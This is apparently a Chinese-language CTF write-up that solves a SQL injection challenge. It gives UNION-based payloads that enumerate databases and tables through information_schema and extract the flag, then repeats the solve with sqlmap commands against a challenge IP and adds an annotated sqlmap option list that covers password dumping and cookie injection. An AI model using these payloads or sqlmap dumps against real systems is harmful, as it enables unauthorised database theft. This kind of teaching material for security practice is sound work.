直接在页面内部进行注入
页面长上述这个样子,从可搜索和有回应可以判断得到应该是SQL
注入相关的内容。因此考虑SQL注入方式进行解题。
输入:
?id=1' union select 1,2,3--
显示:
说明第二行和第三行有内容回应,查找数据库的名字,输入:
?id=1' union select 1,2,database()--
可以得到:
所以数据库的名字是news
。进一步从数据库中查找表名,输入:
?id=1' union select 1,2,table_name from information_schema.tables where table_schema='news'#
得到结果:
所以表名为:secret_table,然后就可以直接从表中查找信息了。输入:
?id=1' union select 1,2,group_concat(fl4g) from secret_table-- -
知识点有:
mysql中的information_schema 结构用来存储数据库系统信息
information_schema
结构中这几个表存储的信息,在注射中可以用到的几个表。
| SCHEMATA
――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES
――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS
――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
下面是用sqlmap
解答的版本
先查数据库名字:
python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' --dbs
得到结果
然后再查数据库中含表的名字:
python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' --tables -D 'news'
得到结果:
再从表中来得到所有行的信息:
python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' -T 'secret_table' --dump
后面补充一下sqlmap中主要参数的含义
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
建议使用等级 3 ,可以看到注入语句的Payload,利于入门者学习。
-u "http://xxx/Less-1/?id=1" 注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
--level=(1-5) #要执行的测试水平等级,默认为1 level 算是一共注入测试等级,一共是五级,级别越高,检测的内容也就越多,检测级别大于等于 2 时会检测 cookie 是否有注入,检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。比较推荐使用 5 等级进行测试,确保不会漏掉注入点。
--risk=(0-3) #测试执行的风险等级,默认为1 一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
-D DB #要进行枚举的指定数据库名
-T TBL # DBMS数据库表枚举
-C COL # DBMS数据库表列枚举
--is-dba #是否是数据库管理员
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent